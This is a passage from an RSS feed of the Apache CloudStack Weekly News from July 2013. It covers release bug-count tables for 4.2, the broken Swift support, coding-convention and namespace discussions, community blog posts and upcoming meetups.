plain">        &lt;td class='confluenceTd'&gt;129 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;222 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;6 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;49 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;119 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;184 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;/tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;th class='confluenceTh'&gt;Open Total&lt;/th&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;25 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;84 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;232 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;403 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;25 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;80 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;218 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;385 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;/tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">&lt;/tbody&gt;&lt;/table&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">&lt;/div&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">&lt;p&gt;The status for features or improvement is depicted in table below&lt;/p&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">&lt;div class='table-wrap'&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">&lt;table class='confluenceTable'&gt;&lt;tbody&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;th class='confluenceTh'&gt;New Features / Improvements &lt;/th&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;th class='confluenceTh'&gt;Today     &lt;/th&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;th class='confluenceTh'&gt;Last Week &lt;/th&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;/tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;Closed&lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;10&lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;10&lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;/tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;Resolved&lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;59&lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;57&lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;/tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;In Progress&lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;11&lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;13&lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;/tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;Reopened&lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;1&lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;1&lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;/tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;Ready To Review&lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;1&lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;1&lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;/tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;Open&lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;20&lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;20&lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;/tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;th class='confluenceTh'&gt;Total&lt;/th&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;102&lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;102&lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;/tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">&lt;/tbody&gt;&lt;/table&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">&lt;/div&gt;</span><br></span></code></pre><div class="buttonGroup__atx"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_eSgA" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_y97N"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_LjdS"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div></blockquote><h5><a name="ApacheCloudStackWeeklyNews-10July2013-SwiftSupportin4.2"></a>Swift Support in 4.2</h5><p>On July 3rd, Edison Su reported that <a href="http://markmail.org/message/aitv5264swzwpedh" target="_blank" rel="nofollow" class="external-link">support for Swift is broken due to the object store refactor</a>. There's been a fair amount of discussion on how an extant feature could be broken without being exposed via testing, and what should be done about it at this stage. </p><p>David Nalley says that "unplanned/unannounced deprecation of a feature is a blocker IMO. It engenders a bad relationship with our users, and strands them on previous versions with no good migration/upgrade path." Chip Childers <a href="http://markmail.org/message/jgci4s7afqi6ix4u" target="_blank" rel="nofollow" class="external-link">says that</a> "I believe that this was an honest mistake, but we need to figure out what to do. I'm -1 on us saying 'we'll drop Swift support'. If necessary, I'd say that we need to roll back the object-store branch merge... I don't want to see that happen, though. That's why I'm asking about the effort to fix it."</p><p>Chip <a href="http://markmail.org/message/r3rqsxnrsvjm7gwx" target="_blank" rel="nofollow" class="external-link">opened CLOUDSTACK-3400</a> as a blocker against 4.2 until Swift support is fixed. Discussion about the bug continues. </p><h5><a name="ApacheCloudStackWeeklyNews-10July2013-Closing4.2ResolvedDefects"></a>Closing 4.2 Resolved Defects</h5><p>Sudha Ponnaganti <a href="http://markmail.org/message/5mwy2yuc5bvcg2qz" target="_blank" rel="nofollow" class="external-link">posted a list of 543 defects</a> that are in resolved state that need to re-validated, reopened or closed. Please look through this list and check to see if you're assigned to any of these defects. </p><blockquote><p>There are 543 defects in Resolved state and not closed. Please make sure that you validate and close the defect if you are satisfied with the fix. If there are issues with the fix, pl reopen the defect. Pl note that these need to be validated in 4.2 branch as all are fixed in 4.2 ( should be applicable for master as well). You can prioritize these based on the blocker, critical, major etc.  As team is already done with the features, this is good time to close these...</p></blockquote><h5><a name="ApacheCloudStackWeeklyNews-10July2013-CodingConventionReminder"></a>Coding Convention Reminder</h5><p>As open source projects mature and add new participants, it's occasionally necessary to send a gentle reminder of accepted conventions in the community. For example, Alex Huang <a href="http://markmail.org/message/z2hzz7efujgmhfnh" target="_blank" rel="nofollow" class="external-link">opened a discussion about the CloudStack coding conventions</a> on July 2nd, saying "Our <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/Coding+conventions" target="_blank" rel="nofollow" class="external-link">coding conventions</a> have been going all over the place recently.  Please take a look."</p><p>He also proposed extending the 120 column limit to 180 columns. </p><blockquote><p>I recently was reading the following code.  If it followed even our current coding conventions, this would have been 11 lines but it ends up to be 23 lines,<br>more than doubled.  The whole file was like this.  Just thinking about all the extra scrolling I have to do makes my cts act up.  We are in the 21st century<br>and using wide screen lcd monitors.  Let's not format our code to fit 80 column amber text screens please!</p><div class="codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_biex"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">&lt;p&gt;What's worse is I've found that some people are actively breaking existing source code to 80 columns, causing a bunch of unnecessary merge activities. &lt;/p&gt;</span><br></span></code></pre><div class="buttonGroup__atx"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_eSgA" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_y97N"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_LjdS"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div></blockquote><p>For those folks who use Eclipse <a href="http://markmail.org/message/frkn3pm7tc74yqvk" target="_blank" rel="nofollow" class="external-link">Alex has checked in his Eclipse profile to tools/eclipse/eclipse.epf</a>. It will help with a number of issues, such as removing trailing white space, reformats edited portions of the file using the current formatting rules, and more. </p><h5><a name="ApacheCloudStackWeeklyNews-10July2013-ChangingBugSeverity"></a>Changing Bug Severity</h5><p>Prasanna Santhanam <a href="http://markmail.org/message/lllacr6tb64yqxly" target="_blank" rel="nofollow" class="external-link">noted that some bugs have changed severity without any reason given</a>. Any time a change of this sort of significance is made in Jira, some reason should be given so that other users can have some idea why the change was made without having to track down the person responsible and ask. </p><p>Prasanna asks:</p><blockquote><p>Can the bug reporters please mention the<br>reason as to how something :</p><div class="codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_biex"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">&lt;p&gt;a) blocks movement on the feature/installation/cloudstack in general&lt;br/&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">b) affects deployment and does not have workarounds via the API&lt;br/&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">c) troubleshooting done with respect to a and b.&lt;/p&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">&lt;p&gt;Here's some light reading on how to have bugs resolved faster:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">&lt;a href="http://www.chiark.greenend.org.uk/~sgtatham/bugs.html" class="external-link" rel="nofollow"&gt;http://www.chiark.greenend.org.uk/~sgtatham/bugs.html&lt;/a&gt;&lt;/p&gt;</span><br></span></code></pre><div class="buttonGroup__atx"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_eSgA" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_y97N"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_LjdS"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div></blockquote><p>Chip replied: </p><blockquote><p>+1 with an added "d)":</p><div class="codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_biex"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">&lt;p&gt;d) needs to be considered a release blocker for a legal, security or&lt;br/&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">trademark reason&lt;/p&gt;</span><br></span></code></pre><div class="buttonGroup__atx"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_eSgA" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_y97N"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_LjdS"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div></blockquote><h5><a name="ApacheCloudStackWeeklyNews-10July2013-Namespace"></a>Name space </h5><p>Dharmesh Kakadia one of our Google Summer of Code participants has <a href="http://markmail.org/message/dzixkixurzlskqik" target="_blank" rel="nofollow" class="external-link">started a discussion</a> on changing the future namespace convention for Apache CloudStack. The current namespace has been in place since the original Cloud.com implementation. As Dharmesh states, this is a big change, please join the discussion on how we can make this a successful switchover.</p><blockquote><p>Since the CloudStack project has moved to ASF, the suggestion is to move from com.cloud packages to org.apache java packages.(<a href="https://issues.apache.org/jira/browse/CLOUDSTACK-212" target="_blank" rel="nofollow" class="external-link">https://issues.apache.org/jira/browse/CLOUDSTACK-212</a>)</p><div class="codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_biex"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">&lt;p&gt;As you might be realize, this is pretty big change. And merging this changes with a continuously updating master is non-trivial. So, here is the planned strategy after discussion over IRC. I am starting this thread to inform and know everyone's opinions.&lt;/p&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">&lt;p&gt;1. I will be pushing code with new packages on branch "namespacechanges" and will notify on this thread as each refactored module is pushed.&lt;/p&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">&lt;p&gt;2. There will be a freeze on master branch commits for some time in which "namespacechanges" will be applied to master. I suggest the date to be 20th July.&lt;/p&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">&lt;p&gt;3. All the branch-owner updates their branch for reflect new packages. It was suggested that branch owners can look into the "namespacechanges" branch as it grows and start doing the package changes early, although it depends on branch-owners.&lt;/p&gt;</span><br></span></code></pre><div class="buttonGroup__atx"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_eSgA" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_y97N"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_LjdS"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div></blockquote><h5><a name="ApacheCloudStackWeeklyNews-10July2013-InDevelopmentReleaseNaming"></a>In-Development Release Naming</h5><p>While we are still hard at work at getting 4.2 out the ready and out to the world, John Burwell has <a href="http://markmail.org/message/dxv7aeirjz5itwdp" target="_blank" rel="nofollow" class="external-link">proposed</a> moving to release naming until a release has gotten to feature freeze and it can be judged on what the semantic version number change should be. There's been a lot of discussion on this topic. We would probably look to start this in the next release if it can come to a vote. </p><blockquote><p>Since we have adopted Semantic Versioning [<a href="http://semver.org/" target="_blank" rel="noopener noreferrer">1</a>], it seems odd that we designate a release version before the final set of enhancements/fixes has been identified.  For example, the release proceeding 4.2 may contain no backwards compatible API changes to be 4.3.  Conversely, we may decide during the development cycle, as a community, to accept a non-backwards compatible change which would bump the version to 5.0.0.  As such, it is difficult to know in advance what the proper semantic version number will be at when the work is released.  We run the risk of confusing our users if we start calling a pending release say 4.3.0, and accept a change mid-cycle that will bump it to 5.0.0.  To address this potential issue, I proposed that we refer to releases by a codename until feature freeze when we understand the complete scope of change and can apply the correct semantic version number.  I further propose we codename the release directly proceeding 4.2 "Gamma Rays" or "Gamma Rays Gonna Get Ya".  </p></blockquote><h3><a name="ApacheCloudStackWeeklyNews-10July2013-CloudStackPlanet"></a>CloudStack Planet</h3><p>What's going on in the CloudStack community? While all the discussion happens on the mailing lists, we also encourage members of the CloudStack community to share what they're working on their blogs. In this section, you'll find posts by Apache CloudStack community members and interesting news that's relevant to Apache CloudStack.</p><h5><a name="ApacheCloudStackWeeklyNews-10July2013-CloudStackEuropeanUserGroupSummary"></a>CloudStack European User Group Summary</h5><p><a href="http://www.shapeblue.com/cloudstack/cloudstack-european-user-group-summary/" target="_blank" rel="nofollow" class="external-link">The ShapeBlue blog has a summary of the most recent meeting</a>, by Giles Sirett.</p><h5><a name="ApacheCloudStackWeeklyNews-10July2013-ApacheWhirrandCloudStackforBigDataintheClouds"></a>Apache Whirr and CloudStack for Big Data in the Clouds</h5><p>Sebastien Goasguen has a <a href="http://sebgoa.blogspot.com/2013/07/apache-whirr-and-cloudstack-for-big.html" target="_blank" rel="nofollow" class="external-link">tutorial on his blog about using Apache Whirr with CloudStack</a>. "In this tutorial we introduce Apache Whirr, an application that can be used to define, provision and configure big data solutions on CloudStack based clouds. Whirr automatically starts instances in the cloud and boostrapps hadoop on them. It can also add packages such as Hive, Hbase and Yarn for map-reduce jobs."</p><h5><a name="ApacheCloudStackWeeklyNews-10July2013-InCaseYou%27reNotAlreadySoldonDevOps"></a>In Case You're Not Already Sold on DevOps</h5><p>Joe Brockmeier <a href="http://buildacloud.org/blog/272-why-every-company-needs-devops-now.html" target="_blank" rel="nofollow" class="external-link">talks a bit about Gene Kim's keynote at the CloudStack Collaboration Conference</a>, "Why Every Company Needs DevOps Now." </p><h5><a name="ApacheCloudStackWeeklyNews-10July2013-HackathonStorageGroupPutsOutDiscussionandProposal"></a>Hackathon Storage Group Puts Out Discussion and Proposal</h5><p>John Burwell who led the storage discussion group during the CloudStack Collaboration Conference Hackathon put out the first group discussion on the future needs and a proposal on how to better define storage for future versions of CloudStack. <a href="http://markmail.org/message/hh5wmffsquqwjx6m" target="_blank" rel="nofollow" class="external-link">Read the and participate</a> in the discussion and weigh-in on the proposal. </p><h5><a name="ApacheCloudStackWeeklyNews-10July2013-InterviewwithTheCloudcast%28.net%29"></a>Interview with The Cloudcast (.net)</h5><p>Chip Childers and David Nalley sit down with Aaron Delp for the Cloudcast podcast. <a href="http://www.chipchilders.com/blog/2013/7/2/interview-with-the-cloudcast-net.html" target="_blank" rel="nofollow" class="external-link">Be sure to give it a listen!</a></p><h5><a name="ApacheCloudStackWeeklyNews-10July2013-NewVideosComingSoonFromOurSummerVideoProject"></a>New Videos Coming Soon From Our Summer Video Project</h5><p>Gregg Witkin and Jessica Tomechak are <a href="http://markmail.org/thread/rs7paw6wfs4kktwh" target="_blank" rel="nofollow" class="external-link">working together on videos this summer</a>. Gregg hit the ground running by bringing his cameras to the Collab Conference June 24-25 in Santa Clara. He is editing that footage into short clips to help promote the November CloudStack Collaboration Conference in Amsterdam.</p><p>These short videos will be posted as soon as the conference organizers approve them. Meanwhile, check out these videos Gregg did with CloudStack just last year. <a href="http://www.youtube.com/watch?v=oJ4b8HFmFTc" target="_blank" rel="nofollow" class="external-link">Link 1</a>, <a href="http://www.youtube.com/watch?v=KATuxn5pimY" target="_blank" rel="nofollow" class="external-link">Link 2</a></p><h3><a name="ApacheCloudStackWeeklyNews-10July2013-Events"></a>Events</h3><ul><li><b><a href="http://www.meetup.com/CloudStack-Hyderabad-Group/events/125208462/" target="_blank" rel="nofollow" class="external-link">Apache CloudStack Meetup in Hyderabad, India</a></b> on July 20th. Location is TBD, but will be published on Meetup.com.</li><li><b><a href="http://www.oscon.com/oscon2013" target="_blank" rel="nofollow" class="external-link">O'Reilly's Open Source Convention (OSCON)</a></b> is being held July 22-26 at Oregon Convention Center, Portland Oregon. There will be several CloudStack talks.</li><li><b>CloudStack Study Meeting</b> Suzuki-san will be organizing a study meeting in Osaka on August 2.</li><li><b><a href="http://www.ospn.jp/osc2012-kyoto/" target="_blank" rel="nofollow" class="external-link">OSC Kyoto</a></b> The <a href="http://cloudstack.jp/" target="_blank" rel="nofollow" class="external-link">Japanese CloudStack User Group (JCSUG)</a> will be presenting at the Open Source Conference in Kyoto on August 2-3.</li><li><b><a href="http://www.meetup.com/CloudStack-SF-Bay-Area-Users-Group/events/117379992/" target="_blank" rel="nofollow" class="external-link">CloudStack Meetup</a></b> at SAP Labs in Palo Alto, CA on August 7th from 6:00 to 9:00 p.m. Be sure to RSVP on Meetup.com!</li></ul><h3><a name="ApacheCloudStackWeeklyNews-10July2013-NewCommittersandPMCMembers"></a>New Committers and PMC Members</h3><p>No new committers or PMC members have been announced in the last newsletter period.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack Weekly News - 1 July 2013]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_12</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_12</guid>
            <pubDate>Tue, 02 Jul 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[We are half way through the year and a lot of work is done, and lot more is yet to be done. This week we look back at some of the CloudStack Collaboration Conference, work continues on 4.1.1 and 4.2.0, and we have some interesting discussions on how we should release the CloudMonkey and Marvin tools used with CloudStack. There's a by-laws vote underway to look at how and where we decide non-technical issues, and some discussion on the best way to discuss and do code reviews.]]></description>
            <content:encoded><![CDATA[<p><a href="/img/imported/ab378739-3c34-48ea-9495-2c49e23e58d6"><img loading="lazy" src="/img/imported/ab378739-3c34-48ea-9495-2c49e23e58d6?t=true" alt="square-cloudmonkey.png" align="left" vspace="5" hspace="5" class="img_ev3q"></a>We are half way through the year and a lot of work is done, and lot more is yet to be done. This week we look back at some of the <a href="http://cloudstackcollab.org/" target="_blank" rel="nofollow" class="external-link">CloudStack Collaboration Conference</a>, work continues on 4.1.1 and 4.2.0, and we have some interesting discussions on how we should release the CloudMonkey and Marvin tools used with CloudStack. There's a by-laws vote underway to look at how and where we decide non-technical issues, and some discussion on the best way to discuss and do code reviews.</p><h3><a name="ApacheCloudStackWeeklyNews-1July2013-NewsMovingtoWednesdays"></a>News Moving to Wednesdays</h3><p>To help get information out a little more timely to key discussions and information that is going on in the community we are going to move the publishing of the weekly news to Wednesdays starting July 10th! </p><h3><a name="ApacheCloudStackWeeklyNews-1July2013-MajorDiscussions"></a>Major Discussions</h3><p>In this section we look at major discussions that have happened on the CloudStack mailing lists. This is by no means a full summary of all discussions on the lists, but we try to hit the highlights that are relevant to the larger CloudStack community. </p><h5><a name="ApacheCloudStackWeeklyNews-1July2013-FeatureFreezeinAffectforthe4.2Release"></a>Feature Freeze in Affect for the 4.2 Release</h5><p>Code Freeze in now in effect starting 6/28 and the 4.2 branch was <a href="http://markmail.org/message/5esar2muu54nutqj" target="_blank" rel="nofollow" class="external-link">created on 6/29</a>. There is currently no motion in the community to extend the freeze date, and Animesh Chaturvedi is keep the release on schedule. If the feature or merge you are working on was unable to make it in, please start to move it to your JIRA tickets and additional documentation to 4.3 scheduled to release sometime in December. </p><p>Currently Animesh is handling the release management for 4.2 has listed out our current state. He put together an e-mail on the current <a href="http://markmail.org/message/y47wm6t5q72ns43l" target="_blank" rel="nofollow" class="external-link">status of the release</a>. If we don't quickly get these resolved further delays in the release and jeopardize future releases.</p><blockquote><p>We are now just two days away from feature freeze, but still there are many open tickets. If the feature or improvement is unlikely to be wrapped up by 6/28 it should be moved out of 4.2</p><p>As for bugs here is a summary for this week:</p><div class="table-wrap"><table class="confluenceTable"><tbody><tr><th class="confluenceTh">Bugs</th><th class="confluenceTh">This Week </th><td class="confluenceTd">&nbsp;</td><td class="confluenceTd">&nbsp;</td><td class="confluenceTd">&nbsp;</td><th class="confluenceTh">Two Week Ago    </th><td class="confluenceTd">&nbsp;</td><td class="confluenceTd">&nbsp;</td><td class="confluenceTd">&nbsp;</td></tr><tr><td class="confluenceTd">&nbsp;</td><td class="confluenceTd">   Blocker </td><td class="confluenceTd">  Critical</td><td class="confluenceTd"> Major </td><td class="confluenceTd"> Total </td><td class="confluenceTd">   Blocker </td><td class="confluenceTd"> Critical </td><td class="confluenceTd"> Major </td><td class="confluenceTd"> Total </td></tr><tr><td class="confluenceTd"> Incoming        </td><td class="confluenceTd">         4 </td><td class="confluenceTd">       19 </td><td class="confluenceTd">    37 </td><td class="confluenceTd">     68</td><td class="confluenceTd">         8 </td><td class="confluenceTd">       20 </td><td class="confluenceTd">    29 </td><td class="confluenceTd">    60 </td></tr><tr><td class="confluenceTd"> Outgoing        </td><td class="confluenceTd">        19 </td><td class="confluenceTd">       42 </td><td class="confluenceTd">    34 </td><td class="confluenceTd">   102 </td><td class="confluenceTd">        18 </td><td class="confluenceTd">       10 </td><td class="confluenceTd">    42 </td><td class="confluenceTd">    76 </td></tr><tr><td class="confluenceTd"> Open Unassigned </td><td class="confluenceTd">         4 </td><td class="confluenceTd">       27 </td><td class="confluenceTd">   116 </td><td class="confluenceTd">   184 </td><td class="confluenceTd">         7 </td><td class="confluenceTd">       35 </td><td class="confluenceTd">    93 </td><td class="confluenceTd">   166 </td></tr><tr><td class="confluenceTd"> Open Total      </td><td class="confluenceTd">        17 </td><td class="confluenceTd">       62 </td><td class="confluenceTd">   223 </td><td class="confluenceTd">   365 </td><td class="confluenceTd">        19 </td><td class="confluenceTd">       74 </td><td class="confluenceTd">   192 </td><td class="confluenceTd">   345 </td></tr></tbody></table></div></blockquote><h5><a name="ApacheCloudStackWeeklyNews-1July2013-Progresson4.1.1Release"></a>Progress on 4.1.1 Release</h5><p>With 4.1 now released we are already beginning work on the 4.1.1 patch update. Ilya Musayev is the release manager for the 4.1.x branch, and has <a href="http://markmail.org/message/6ionwrcqlh4pi2j4" target="_blank" rel="nofollow" class="external-link">asked</a> work all merges to be completed. Once that is done, he will call for a VOTE.</p><h5><a name="ApacheCloudStackWeeklyNews-1July2013-LargeMerge%2FReleaseWork"></a>Large Merge / Release Work</h5><p>As we seen in the past and now again in 4.2, it's important to focus on merging your features early and often. By breaking up large merge and code review requests it is possible to help keep releases on schedule, get features in before the freeze and avoid Veto votes. Alex Huang and Kelven Yang worked really hard on a new and large VMSync feature that many users need. Because it came in so close to freeze and was a large merge request with less than a week before freeze it immediately received Veto votes blocking the merge. Even with the help of several other committers the review couldn't 